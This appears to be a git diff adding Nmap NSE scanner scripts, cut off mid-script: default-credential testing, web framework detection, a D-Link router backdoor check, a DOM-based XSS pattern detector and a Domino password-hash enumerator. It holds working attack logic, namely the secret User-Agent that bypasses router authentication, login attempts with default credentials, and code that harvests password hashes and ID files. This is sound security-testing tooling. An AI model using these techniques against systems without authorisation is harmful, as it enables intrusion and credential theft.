+-- @args http-default-accounts.fingerprintfile Fingerprint filename. Default: http-default-accounts-fingerprints.lua
+-- @args http-default-accounts.category Selects a fingerprint category (or a list of categories).
+-- @args http-default-accounts.name Selects fingerprints by a word (or a list of alternate words) included in their names.
+
+-- Revision History
+-- 2013-08-13 nnposter
+-- * added support for target_check()
+-- 2014-04-27
+-- * changed category from safe to intrusive
+-- 2016-08-10 nnposter
+-- * added sharing of probe requests across fingerprints
+-- 2016-10-30 nnposter
+-- * removed a limitation that prevented testing of systems returning
+-- status 200 for non-existent pages.
+-- 2016-12-01 nnposter
+-- * implemented XML structured output
+-- * changed classic output to report empty credentials as <blank>
+-- 2016-12-04 nnposter
+-- * added CPE entries to individual fingerprints (where known)
+-- 2018-12-17 nnposter
+-- * added ability to select fingerprints by their name
+-- 2020-07-11 nnposter
+-- * added reporting of all matched fingerprints when verbosity is increased
+---
+
+author = {"Paulino Calderon <calderon@websec.mx>", "nnposter"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "auth", "intrusive"}
+
+portrule = shortport.http
+
+---
+--validate_fingerprints(fingerprints)
+--Returns an error string if there is something wrong with
+--fingerprint table.
+--Modified version of http-enums validation code
+--@param fingerprints Fingerprint table
+--@return Error string if its an invalid fingerprint table
+---
+local function validate_fingerprints(fingerprints)
+
+ for i, fingerprint in pairs(fingerprints) do
+ if(type(i) ~= 'number') then
+ return "The 'fingerprints' table is an array, not a table; all indexes should be numeric"
+ end
+ -- Validate paths
+ if(not(fingerprint.paths) or
+ (type(fingerprint.paths) ~= 'table' and type(fingerprint.paths) ~= 'string') or
+ (type(fingerprint.paths) == 'table' and #fingerprint.paths == 0)) then
+ return "Invalid path found in fingerprint entry #" .. i
+ end
+ if(type(fingerprint.paths) == 'string') then
+ fingerprint.paths = {fingerprint.paths}
+ end
+ for i, path in pairs(fingerprint.paths) do
+ -- Validate index
+ if(type(i) ~= 'number') then
+ return "The 'paths' table is an array, not a table; all indexes should be numeric"
+ end
+ -- Convert the path to a table if it's a string
+ if(type(path) == 'string') then
+ fingerprint.paths[i] = {path=fingerprint.paths[i]}
+ path = fingerprint.paths[i]
+ end
+ -- Make sure the paths table has a 'path'
+ if(not(path['path'])) then
+ return "The 'paths' table requires each element to have a 'path'."
+ end
+ end
+ -- Check login combos
+ for i, combo in pairs(fingerprint.login_combos) do
+ -- Validate index
+ if(type(i) ~= 'number') then
+ return "The 'login_combos' table is an array, not a table; all indexes should be numeric"
+ end
+ -- Make sure the login_combos table has at least one login combo
+ if(not(combo['username']) or not(combo["password"])) then
+ return "The 'login_combos' table requires each element to have a 'username' and 'password'."
+ end
+ end
+
+ -- Make sure they include the login function
+ if(type(fingerprint.login_check) ~= "function") then
+ return "Missing or invalid login_check function in entry #"..i
+ end
+ -- Make sure that the target validation is a function
+ if(fingerprint.target_check and type(fingerprint.target_check) ~= "function") then
+ return "Invalid target_check function in entry #"..i
+ end
+ -- Are they missing any fields?
+ if(fingerprint.category and type(fingerprint.category) ~= "string") then
+ return "Missing or invalid category in entry #"..i
+ end
+ if(fingerprint.name and type(fingerprint.name) ~= "string") then
+ return "Missing or invalid name in entry #"..i
+ end
+ end
+end
+
+-- Simplify unlocking the mutex, ensuring we don't try to load the fingerprints
+-- again by storing and returning an error message in place of the cached
+-- fingerprints.
+-- @param mutex Mutex that controls fingerprint loading
+-- @param err Error message
+-- @return Status (always false)
+-- @return Error message passed in
+local function bad_prints(mutex, err)
+ nmap.registry.http_default_accounts_fingerprints = err
+ mutex "done"
+ return false, err
+end
+
+---
+-- Loads data from file and returns table of fingerprints if sanity checks are
+-- passed.
+-- @param filename Fingerprint filename
+-- @param catlist Categories of fingerprints to use
+-- @param namelist Alternate words required in fingerprint names
+-- @return Status (true or false)
+-- @return Table of fingerprints (or an error message)
+---
+local function load_fingerprints(filename, catlist, namelist)
+ local file, filename_full, fingerprints
+
+ -- Check if fingerprints are cached
+ local mutex = nmap.mutex("http_default_accounts_fingerprints")
+ mutex "lock"
+ local cached_fingerprints = nmap.registry.http_default_accounts_fingerprints
+ if type(cached_fingerprints) == "table" then
+ stdnse.debug(1, "Loading cached fingerprints")
+ mutex "done"
+ return true, cached_fingerprints
+ end
+ if type(cached_fingerprints) == "string" then
+ -- cached_fingerprints contains an error message from a prior load attempt
+ return bad_prints(mutex, cached_fingerprints)
+ end
+ assert(type(cached_fingerprints) == "nil", "Unexpected cached fingerprints")
+
+ -- Try and find the file
+ -- If it isn't in Nmap's directories, take it as a direct path
+ filename_full = nmap.fetchfile('nselib/data/' .. filename)
+ if(not(filename_full)) then
+ filename_full = filename
+ end
+
+ -- Load the file
+ stdnse.debug(1, "Loading fingerprints: %s", filename_full)
+ local env = setmetatable({fingerprints = {}}, {__index = _G});
+ file = loadfile(filename_full, "t", env)
+ if( not(file) ) then
+ stdnse.debug(1, "Couldn't load the file: %s", filename_full)
+ return bad_prints(mutex, "Couldn't load fingerprint file: " .. filename_full)
+ end
+ file()
+ fingerprints = env.fingerprints
+
+ -- Validate fingerprints
+ local valid_flag = validate_fingerprints(fingerprints)
+ if type(valid_flag) == "string" then
+ return bad_prints(mutex, valid_flag)
+ end
+
+ -- Category filter
+ if catlist then
+ if type(catlist) ~= "table" then
+ catlist = {catlist}
+ end
+ local filtered_fingerprints = {}
+ for _, fingerprint in pairs(fingerprints) do
+ for _, cat in ipairs(catlist) do
+ if fingerprint.category == cat then
+ table.insert(filtered_fingerprints, fingerprint)
+ break
+ end
+ end
+ end
+ fingerprints = filtered_fingerprints
+ end
+
+ -- Name filter
+ if namelist then
+ if type(namelist) ~= "table" then
+ namelist = {namelist}
+ end
+ local matchlist = {}
+ for _, name in ipairs(namelist) do
+ table.insert(matchlist, "%f[%w]"
+ .. tostring(name):lower():gsub("%W", "%%%1")
+ .. "%f[%W]")
+ end
+ local filtered_fingerprints = {}
+ for _, fingerprint in pairs(fingerprints) do
+ local fpname = fingerprint.name:lower()
+ for _, match in ipairs(matchlist) do
+ if fpname:find(match) then
+ table.insert(filtered_fingerprints, fingerprint)
+ break
+ end
+ end
+ end
+ fingerprints = filtered_fingerprints
+ end
+
+ -- Check there are fingerprints to use
+ if(#fingerprints == 0 ) then
+ return bad_prints(mutex, "No fingerprints were loaded after processing ".. filename)
+ end
+
+ -- Cache the fingerprints for other scripts, so we aren't reading the files every time
+ nmap.registry.http_default_accounts_fingerprints = fingerprints
+ mutex "done"
+ return true, fingerprints
+end
+
+---
+-- format_basepath(basepath)
+-- Modifies a given path so that it can be later prepended to another absolute
+-- path to form a new absolute path.
+-- @param basepath Basepath string
+-- @return Basepath string with a leading slash and no trailing slashes.
+-- (Empty string is returned if the input is an empty string
+-- or "/".)
+---
+local function format_basepath(basepath)
+ if basepath:sub(1,1) ~= "/" then
+ basepath = "/" .. basepath
+ end
+ return basepath:gsub("/+$","")
+end
+
+---
+-- test_credentials(host, port, fingerprint, path)
+-- Tests default credentials of a given fingerprint against a given path.
+-- Any successful credentials are registered in the Nmap credential repository.
+-- @param host table as received by the scripts action method
+-- @param port table as received by the scripts action method
+-- @param fingerprint as defined in the fingerprint file
+-- @param path againt which the the credentials will be tested
+-- @return out table suitable for inclusion in the script structured output
+-- (or nil if no credentials succeeded)
+-- @return txtout table suitable for inclusion in the script textual output
+---
+local function test_credentials (host, port, fingerprint, path)
+ local credlst = {}
+ for _, login_combo in ipairs(fingerprint.login_combos) do
+ local user = login_combo.username
+ local pass = login_combo.password
+ stdnse.debug(1, "[%s] Trying login combo %s:%s", fingerprint.name,
+ stdnse.string_or_blank(user), stdnse.string_or_blank(pass))
+ if fingerprint.login_check(host, port, path, user, pass) then
+ stdnse.debug(1, "[%s] Valid default credentials found", fingerprint.name)
+ local cred = stdnse.output_table()
+ cred.username = user
+ cred.password = pass
+ table.insert(credlst, cred)
+ end
+ end
+ if #credlst == 0 and nmap.verbosity() < 2 then return nil end
+ -- Some credentials found or increased verbosity. Generate the output report
+ local out = stdnse.output_table()
+ out.cpe = fingerprint.cpe
+ out.path = path
+ out.credentials = credlst
+ local txtout = {}
+ txtout.name = ("[%s] at %s"):format(fingerprint.name, path)
+ if #credlst == 0 then
+ table.insert(txtout, "(no valid default credentials found)")
+ return out, txtout
+ end
+ for _, cred in ipairs(credlst) do
+ table.insert(txtout,("%s:%s"):format(stdnse.string_or_blank(cred.username),
+ stdnse.string_or_blank(cred.password)))
+ end
+ -- Register the credentials
+ local credreg = creds.Credentials:new(SCRIPT_NAME, host, port)
+ for _, cred in ipairs(credlst) do
+ credreg:add(cred.username, cred.password, creds.State.VALID )
+ end
+ return out, txtout
+end
+
+
+action = function(host, port)
+ local fingerprint_filename = stdnse.get_script_args("http-default-accounts.fingerprintfile") or "http-default-accounts-fingerprints.lua"
+ local catlist = stdnse.get_script_args("http-default-accounts.category")
+ local namelist = stdnse.get_script_args("http-default-accounts.name")
+ local basepath = stdnse.get_script_args("http-default-accounts.basepath") or "/"
+ local output = stdnse.output_table()
+ local text_output = {}
+
+ -- Determine the target's response to "404" HTTP requests.
+ local status_404, result_404, known_404 = http.identify_404(host,port)
+ -- The default target_check is the existence of the probe path on the target.
+ -- To reduce false-positives, fingerprints that lack target_check() will not
+ -- be tested on targets on which a "404" response is 200.
+ local default_target_check =
+ function (host, port, path, response)
+ if status_404 and result_404 == 200 then return false end
+ return http.page_exists(response, result_404, known_404, path, true)
+ end
+
+ --Load fingerprint data or abort
+ local status, fingerprints = load_fingerprints(fingerprint_filename, catlist, namelist)
+ if(not(status)) then
+ return stdnse.format_output(false, fingerprints)
+ end
+ stdnse.debug(1, "%d fingerprints were loaded", #fingerprints)
+
+ --Format basepath: Removes or adds slashs
+ basepath = format_basepath(basepath)
+
+ -- Add requests to the http pipeline
+ local pathmap = {}
+ local requests = nil
+ stdnse.debug(1, "Trying known locations under path '%s' (change with '%s.basepath' argument)", basepath, SCRIPT_NAME)
+ for _, fingerprint in ipairs(fingerprints) do
+ for _, probe in ipairs(fingerprint.paths) do
+ -- Multiple fingerprints may share probe paths so only unique paths will
+ -- be added to the pipeline. Table pathmap keeps track of their position
+ -- within the pipeline.
+ local path = probe.path
+ if not pathmap[path] then
+ requests = http.pipeline_add(basepath .. path,
+ {bypass_cache=true, redirect_ok=false},
+ requests, 'GET')
+ pathmap[path] = #requests
+ end
+ end
+ end
+
+ -- Nuclear launch detected!
+ local results = http.pipeline_go(host, port, requests)
+ if results == nil then
+ return stdnse.format_output(false,
+ "HTTP request table is empty. This should not happen since we at least made one request.")
+ end
+
+ -- Iterate through fingerprints to find a candidate for login routine
+ for _, fingerprint in ipairs(fingerprints) do
+ local target_check = fingerprint.target_check or default_target_check
+ local credentials_found = false
+ stdnse.debug(1, "[%s] Examining target", fingerprint.name)
+ for _, probe in ipairs(fingerprint.paths) do
+ local result = results[pathmap[probe.path]]
+ if result and not credentials_found then
+ local path = basepath .. probe.path
+ if target_check(host, port, path, result) then
+ stdnse.debug(1, "[%s] Target matched", fingerprint.name)
+ local out, txtout = test_credentials(host, port, fingerprint, path)
+ if out then
+ output[fingerprint.name] = out
+ table.insert(text_output, txtout)
+ credentials_found = true
+ end
+ end
+ end
+ end
+ end
+ if #text_output > 0 then
+ return output, stdnse.format_output(true, text_output)
+ end
+end
diff --git a/scripts/http-devframework.nse b/scripts/http-devframework.nse
new file mode 100644
index 0000000..ce0f1ae
--- /dev/null
+++ b/scripts/http-devframework.nse
@@ -0,0 +1,150 @@
+description = [[
+
+Tries to find out the technology behind the target website.
+
+The script checks for certain defaults that might not have been changed, like
+common headers or URLs or HTML content.
+
+While the script does some guessing, note that overall there's no way to
+determine what technologies a given site is using.
+
+You can help improve this script by adding new entries to
+nselib/data/http-devframework-fingerprints.lua
+
+Each entry must have:
+* <code>rapidDetect</code> - Callback function that is called in the beginning
+of detection process. It takes the host and port of target website as arguments.
+* <code>consumingDetect</code> - Callback function that is called for each
+spidered page. It takes the body of the response (HTML code) and the requested
+path as arguments.
+
+Note that the <code>consumingDetect</code> callback will not take place only if
+<code>rapid</code> option is enabled.
+
+]]
+
+---
+-- @usage nmap -p80 --script http-devframework.nse <target>
+--
+-- @args http-devframework.rapid boolean value that determines if a rapid detection
+-- should take place. The main difference of a rapid vs a lengthy detection
+-- is that second one requires crawling through the website. Default: false
+-- (lengthy detection is performed)
+-- @args http-devframework.fingerprintfile File containing fingerprints. Default: nselib/data/http-devframework-fingerprints.lua
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- |_http-devframework: Django detected. Found Django admin login page on /admin/
+---
+
+categories = {"discovery", "intrusive"}
+author = "George Chatzisofroniou"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local httpspider = require "httpspider"
+local _G = require "_G"
+
+portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
+
+local function loadFingerprints(filename)
+
+ local file, fingerprints
+
+ -- Find the file
+ filename = nmap.fetchfile('nselib/data/' .. filename) or filename
+
+ -- Load the file
+ stdnse.debug1("Loading fingerprints: %s", filename)
+ local env = setmetatable({fingerprints = {}}, {__index = _G});
+ file = loadfile(filename, "t", env)
+
+ if( not(file) ) then
+ stdnse.debug1("Couldn't load the file: %s", filename)
+ return
+ end
+
+ file()
+ fingerprints = env.tools
+
+ return fingerprints
+
+end
+
+action = function(host, port)
+
+ local filename = stdnse.get_script_args("http-devframework.fingerprintfile") or "http-devframework-fingerprints.lua"
+ local tools = loadFingerprints(filename)
+ if not tools then
+ stdnse.debug1("Failed to load fingerprints")
+ return nil
+ end
+ local rapid = stdnse.get_script_args("http-devframework.rapid")
+
+ local d
+
+ -- Run rapidDetect() callbacks.
+ for f, method in pairs(tools) do
+ d = method["rapidDetect"](host, port)
+ if d then
+ return d
+ end
+ end
+
+ local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
+ maxpagecount = 40,
+ maxdepth = -1,
+ withinhost = 1
+ })
+
+ if rapid then
+ return "Couldn't determine the underlying framework or CMS. Try turning off 'rapid' mode."
+ end
+
+ crawler.options.doscraping = function(url)
+ if crawler:iswithinhost(url)
+ and not crawler:isresource(url, "js")
+ and not crawler:isresource(url, "css") then
+ return true
+ end
+ end
+
+ crawler:set_timeout(10000)
+
+ while (true) do
+
+ local response, path
+
+ local status, r = crawler:crawl()
+ -- if the crawler fails it can be due to a number of different reasons
+ -- most of them are "legitimate" and should not be reason to abort
+ if (not(status)) then
+ if (r.err) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ response = r.response
+ path = tostring(r.url)
+
+ if (response.body) then
+
+ -- Run consumingDetect() callbacks.
+ for f, method in pairs(tools) do
+ d = method["consumingDetect"](response.body, path)
+ if d then
+ return d
+ end
+ end
+ end
+
+ return "Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages."
+
+ end
+
+end
diff --git a/scripts/http-dlink-backdoor.nse b/scripts/http-dlink-backdoor.nse
new file mode 100644
index 0000000..4b8ca55
--- /dev/null
+++ b/scripts/http-dlink-backdoor.nse
@@ -0,0 +1,70 @@
+description = [[
+Detects a firmware backdoor on some D-Link routers by changing the User-Agent
+to a "secret" value. Using the "secret" User-Agent bypasses authentication
+and allows admin access to the router.
+
+The following router models are likely to be vulnerable: DIR-100, DIR-120,
+DI-624S, DI-524UP, DI-604S, DI-604UP, DI-604+, TM-G5240
+
+In addition, several Planex routers also appear to use the same firmware:
+BRL-04UR, BRL-04CW
+
+Reference: http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/
+]]
+
+---
+-- @usage
+-- nmap -sV --script http-dlink-backdoor <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-dlink-backdoor:
+-- | VULNERABLE:
+-- | Firmware backdoor in some models of D-Link routers allow for admin password bypass
+-- | State: VULNERABLE
+-- | Risk factor: High
+-- | Description:
+-- | D-Link routers have been found with a firmware backdoor allowing for admin password bypass using a "secret" User-Agent string.
+-- |
+-- | References:
+-- |_ http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/
+---
+
+author = "Patrik Karlsson <patrik@cqure.net>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit","vuln"}
+
+local http = require "http"
+local shortport = require "shortport"
+local string = require "string"
+local vulns = require "vulns"
+
+portrule = shortport.http
+
+action = function(host, port)
+ local response = http.get(host, port, "/", { redirect_ok = false, no_cache = true })
+ local server = response.header and response.header['server'] or ""
+ local vuln_table = {
+ title = "Firmware backdoor in some models of D-Link routers allow for admin password bypass",
+ state = vulns.STATE.NOT_VULN,
+ risk_factor = "High",
+ description = [[
+D-Link routers have been found with a firmware backdoor allowing for admin password bypass using a "secret" User-Agent string.
+]],
+ references = {
+ 'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/',
+ }
+ }
+ if ( response.status == 401 and server:match("^thttpd%-alphanetworks") ) or
+ ( response.status == 302 and server:match("^Alpha_webserv") ) then
+ response = http.get(host, port, "/", { header = { ["User-Agent"] = "xmlset_roodkcableoj28840ybtide" } })
+
+ if ( response.status == 200 ) then
+ vuln_table.state = vulns.STATE.VULN
+ local report = vulns.Report:new(SCRIPT_NAME, host, port)
+ return report:make_output(vuln_table)
+ end
+ end
+ return
+end
diff --git a/scripts/http-dombased-xss.nse b/scripts/http-dombased-xss.nse
new file mode 100644
index 0000000..18eaf90
--- /dev/null
+++ b/scripts/http-dombased-xss.nse
@@ -0,0 +1,154 @@
+description = [[
+It looks for places where attacker-controlled information in the DOM may be used
+to affect JavaScript execution in certain ways. The attack is explained here:
+http://www.webappsec.org/projects/articles/071105.shtml
+]]
+
+---
+-- @usage nmap -p80 --script http-dombased-xss.nse <target>
+--
+-- DOM-based XSS occur in client-side JavaScript and this script tries to detect
+-- them by using some patterns. Please note, that the script may generate some
+-- false positives. Don't take everything in the output as a vulnerability, if
+-- you don't review it first.
+--
+-- Most of the patterns used to determine the vulnerable code have been taken
+-- from this page: https://code.google.com/p/domxsswiki/wiki/LocationSources
+--
+-- @args http-dombased-xss.singlepages The pages to test. For example,
+-- {/index.php, /profile.php}. Default: nil (crawler mode on)
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-dombased-xss:
+-- | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=some-very-random-page.com
+-- | Found the following indications of potential DOM based XSS:
+-- |
+-- | Source: document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")
+-- | Pages: http://some-very-random-page.com:80/, http://some-very-random-page.com/foo.html
+-- |
+-- | Source: document.write(document.URL.substring(pos,document.URL.length)
+-- |_ Pages: http://some-very-random-page.com/foo.html
+--
+-- @see http-stored-xss.nse
+-- @see http-phpself-xss.nse
+-- @see http-xssed.nse
+-- @see http-unsafe-output-escaping.nse
+---
+
+categories = {"intrusive", "exploit", "vuln"}
+author = "George Chatzisofroniou"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local string = require "string"
+local httpspider = require "httpspider"
+
+JS_FUNC_PATTERNS = {
+ '(document%.write%s*%((.-)%))',
+ '(document%.writeln%s*%((.-)%))',
+ '(document%.execCommand%s*%((.-)%))',
+ '(document%.open%s*%((.-)%))',
+ '(window%.open%s*%((.-)%))',
+ '(eval%s*%((.-)%))',
+ '(window%.execScript%s*%((.-)%))',
+}
+
+JS_CALLS_PATTERNS = {
+ 'document%.URL',
+ 'document%.documentURI',
+ 'document%.URLUnencoded',
+ 'document%.baseURI',
+ 'document%.referrer',
+ 'location',
+}
+
+portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
+
+action = function(host, port)
+
+ local singlepages = stdnse.get_script_args("http-dombased-xss.singlepages")
+
+ local domxss = {}
+
+ local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
+
+ if (not(crawler)) then
+ return
+ end
+
+ crawler:set_timeout(10000)
+
+ local index, k, target, response, path
+ while (true) do
+
+ if singlepages then
+ k, target = next(singlepages, index)
+ if (k == nil) then
+ break
+ end
+ response = http.get(host, port, target)
+ path = target
+
+ else
+ local status, r = crawler:crawl()
+ -- if the crawler fails it can be due to a number of different reasons
+ -- most of them are "legitimate" and should not be reason to abort
+ if (not(status)) then
+ if (r.err) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ response = r.response
+ path = tostring(r.url)
+ end
+
+ if response.body then
+
+ for _, fp in ipairs(JS_FUNC_PATTERNS) do
+ for i in string.gmatch(response.body, fp) do
+ for _, cp in ipairs(JS_CALLS_PATTERNS) do
+ if string.find(i, cp) then
+ if not domxss[i] then
+ domxss[i] = {path}
+ else
+ table.insert(domxss[i], ", " .. path)
+ end
+ end
+ end
+ end
+ end
+
+ if (index) then
+ index = index + 1
+ else
+ index = 1
+ end
+ end
+
+ end
+
+ -- If the table is empty.
+ if next(domxss) == nil then
+ return "Couldn't find any DOM based XSS."
+ end
+
+ local results = {}
+ for x, _ in pairs(domxss) do
+ table.insert(results, { "\nSource: " .. x, "Pages: " .. table.concat(_) })
+ end
+
+ table.insert(results, 1, "Found the following indications of potential DOM based XSS: ")
+
+ results.name = crawler:getLimitations()
+
+ return stdnse.format_output(true, results)
+
+end
diff --git a/scripts/http-domino-enum-passwords.nse b/scripts/http-domino-enum-passwords.nse
new file mode 100644
index 0000000..81be8fe
--- /dev/null
+++ b/scripts/http-domino-enum-passwords.nse
@@ -0,0 +1,354 @@
+local creds = require "creds"
+local http = require "http"
+local io = require "io"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Attempts to enumerate the hashed Domino Internet Passwords that are (by
+default) accessible by all authenticated users. This script can also download
+any Domino ID Files attached to the Person document. Passwords are presented
+in a form suitable for running in John the Ripper.
+
+The passwords may be stored in two forms (http://comments.gmane.org/gmane.comp.security.openwall.john.user/785):
+
+1. Saltless (legacy support?)
+ Example: 355E98E7C7B59BD810ED845AD0FD2FC4
+ John's format name: lotus5
+2. Salted (also known as "More Secure Internet Password")
+ Example: (GKjXibCW2Ml6juyQHUoP)
+ John's format name: dominosec
+
+It appears as if form based authentication is enabled, basic authentication
+still works. Therefore the script should work in both scenarios. Valid
+credentials can either be supplied directly using the parameters username
+and password or indirectly from results of http-brute or http-form-brute.
+]]
+
+---
+-- @usage
+-- nmap --script http-domino-enum-passwords -p 80 <host> --script-args http-domino-enum-passwords.username='patrik karlsson',http-domino-enum-passwords.password=secret
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-domino-enum-passwords:
+-- | Information
+-- | Information retrieved as: "Jim Brass"
+-- | Internet hashes (salted, jtr: --format=DOMINOSEC)
+-- | Jim Brass:(GYvlbOz2idzni5peJUdD)
+-- | Warrick Brown:(GZghNctqAnJgyklUl2ml)
+-- | Gill Grissom:(GyhsteeXTr75YOSwW8mc)
+-- | David Hodges:(GZEJRHqJEVc5IZCsNX0U)
+-- | Ray Langston:(GE18MGVGD/8ftYMFaVlY)
+-- | Greg Sanders:(GHpdG/7FX7iXXlaoY5sj)
+-- | Sara Sidle:(GWzgG0kCQ5qmnqARL3cl)
+-- | Wendy Simms:(G6wooaElHpsvA4TPvSfi)
+-- | Nick Stokes:(Gdo2TJBRj1Ervrs9lPUp)
+-- | Catherine Willows:(GlDc3QP5ePFR38d7lQeM)
+-- | Internet hashes (unsalted, jtr: --format=lotus5)
+-- | Ada Lovelace:355E98E7C7B59BD810ED845AD0FD2FC4
+-- | John Smith:655E98E7C7B59BD810ED845AD0FD2FD4
+-- | ID Files
+-- | Jim Brass ID File has been downloaded (/tmp/id/Jim Brass.id)
+-- | Warrick Brown ID File has been downloaded (/tmp/id/Warrick Brown.id)
+-- | Gill Grissom ID File has been downloaded (/tmp/id/Gill Grissom.id)
+-- | David Hodges ID File has been downloaded (/tmp/id/David Hodges.id)
+-- | Ray Langston ID File has been downloaded (/tmp/id/Ray Langston.id)
+-- | Greg Sanders ID File has been downloaded (/tmp/id/Greg Sanders.id)
+-- | Sara Sidle ID File has been downloaded (/tmp/id/Sara Sidle.id)
+-- | Wendy Simms ID File has been downloaded (/tmp/id/Wendy Simms.id)
+-- | Nick Stokes ID File has been downloaded (/tmp/id/Nick Stokes.id)
+-- | Catherine Willows ID File has been downloaded (/tmp/id/Catherine Willows.id)
+-- |
+-- |_ Results limited to 10 results (see http-domino-enum-passwords.count)
+--
+--
+-- @args http-domino-enum-passwords.path points to the path protected by
+-- authentication. Default:"/names.nsf/People?OpenView"
+-- @args http-domino-enum-passwords.hostname sets the host header in case of virtual hosting.
+-- Not needed if target is specified by name.
+-- @args http-domino-enum-passwords.count the number of internet hashes and id files to fetch.
+-- If a negative value is given, all hashes and id files are retrieved (default: 10)
+-- @args http-domino-enum-passwords.idpath the path where downloaded ID files should be saved
+-- If not given, the script will only indicate if the ID file is donwloadable or not
+-- @args http-domino-enum-passwords.username Username for HTTP auth, if required
+-- @args http-domino-enum-passwords.password Password for HTTP auth, if required
+
+--
+-- Version 0.4
+-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 07/31/2010 - v0.2 - add support for downloading ID files
+-- Revised 11/25/2010 - v0.3 - added support for separating hash-type <martin@swende.se>
+-- Revised 04/16/2015 - v0.4 - switched to 'creds' credential repository <nnposter>
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "auth"}
+dependencies = {"http-brute", "http-form-brute"}
+
+
+portrule = shortport.port_or_service({80, 443}, {"http","https"}, "tcp", "open")
+
+--- Checks if the <code>path</code> require authentication
+--
+-- @param host table as received by the action function or the name specified
+-- in the hostname argument
+-- @param port table as received by the action function
+-- @param path against which to check if authentication is required
+local function requiresAuth( host, port, path )
+ local result = http.get(host, port, "/names.nsf")
+
+ if ( result.status == 401 ) then
+ return true
+ elseif ( result.status == 200 and result.body and result.body:match("<input.-type=[\"]*password[\"]*") ) then
+ return true
+ end
+ return false
+end
+
+--- Checks if the credentials are valid and allow access to <code>path</code>
+--
+-- @param host table as received by the action function or the name specified
+-- in the hostname argument
+-- @param port as received by the action method
+-- @param path the patch against which to validate the credentials
+-- @param user the username used for authentication
+-- @param pass the password used for authentication
+-- @return true on valid access, false on failure
+local function isValidCredential( host, port, path, user, pass )
+ -- we need to supply the no_cache directive, or else the http library
+ -- incorrectly tells us that the authentication was successful
+ local result = http.get( host, port, path, { auth = { username = user, password = pass }, no_cache = true })
+
+ if ( result.status == 401 ) then
+ return false
+ end
+ return true
+end
+
+--- Retrieves all uniq links in a pages
+--
+-- @param body the html content of the received page
+-- @param filter a filter to use for additional link filtering
+-- @param links [optional] table containing previously retrieved links
+-- @return links table containing retrieved links
+local function getLinks( body, filter, links )
+ local tmp = {}
+ local links = links or {}
+ local filter = filter or ".*"
+
+ if ( not(body) ) then return end
+ for _, v in ipairs( links ) do
+ tmp[v] = true
+ end
+
+ for link in body:gmatch("<a href=\"([^\"]+)\"") do
+ -- use link as key in order to remove duplicates
+ if ( link:match(filter)) then
+ tmp[link] = true
+ end
+ end
+
+ links = {}
+ for k, _ in pairs(tmp) do
+ table.insert(links, k)
+ end
+
+ return links
+end
+
+--- Retrieves the "next page" path from the returned document
+--
+-- @param body the html content of the received page
+-- @return link to next page
+local function getPager( body )
+ return body:match("<form.+action=\"(.+%?ReadForm)&" )
+end
+
+--- Retrieves the username and passwords for a user
+--
+-- @param body the html content of the received page
+-- @return full_name the full name of the user
+-- @return password the password hash for the user
+local function getUserDetails( body )
+
+ -- retrieve the details
+ local full_name = body:match("<input name=\"FullName\".-value=\"(.-)\">")
+ local http_passwd = body:match("<input name=\"HTTPPassword\".-value=\"(.-)\">")
+ local dsp_http_passwd = body:match("<input name=\"dspHTTPPassword\".-value=\"(.-)\">")
+ local id_file = body:match("<a href=\"(.-UserID)\">")
+
+ -- Remove the parenthesis around the password
+ http_passwd = http_passwd:sub(2,-2)
+ -- In case we have more than one full name, return only the last
+ full_name = stringaux.strsplit(";%s*", full_name)
+ full_name = full_name[#full_name]
+
+ return { fullname = full_name, passwd = ( http_passwd or dsp_http_passwd ), idfile = id_file }
+end
+
+--- Saves the ID file to disk
+--
+-- @param filename string containing the name and full path to the file
+-- @param data contains the data
+-- @return status true on success, false on failure
+-- @return err string containing error message if status is false
+local function saveIDFile( filename, data )
+ local f = io.open( filename, "w")
+ if ( not(f) ) then
+ return false, ("Failed to open file (%s)"):format(filename)
+ end
+ if ( not(f:write( data ) ) ) then
+ return false, ("Failed to write file (%s)"):format(filename)
+ end
+ f:close()
+
+ return true
+end
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local path = stdnse.get_script_args(SCRIPT_NAME .. '.path') or "/names.nsf/People?OpenView"
+ local download_path = stdnse.get_script_args(SCRIPT_NAME .. '.idpath')
+ local vhost= stdnse.get_script_args(SCRIPT_NAME .. '.hostname')
+ local user = stdnse.get_script_args(SCRIPT_NAME .. '.username')
+ local pass = stdnse.get_script_args(SCRIPT_NAME .. '.password')
+ local pos, pager
+ local links, result, hashes,legacyHashes, id_files = {}, {}, {}, {},{}
+ local chunk_size = 30
+ local max_fetch = tonumber(stdnse.get_script_args(SCRIPT_NAME .. '.count')) or 10
+ local http_response
+ local has_creds = false
+ -- authentication required?
+ if ( requiresAuth( vhost or host, port, path ) ) then
+ -- A user was provided, attempt to authenticate
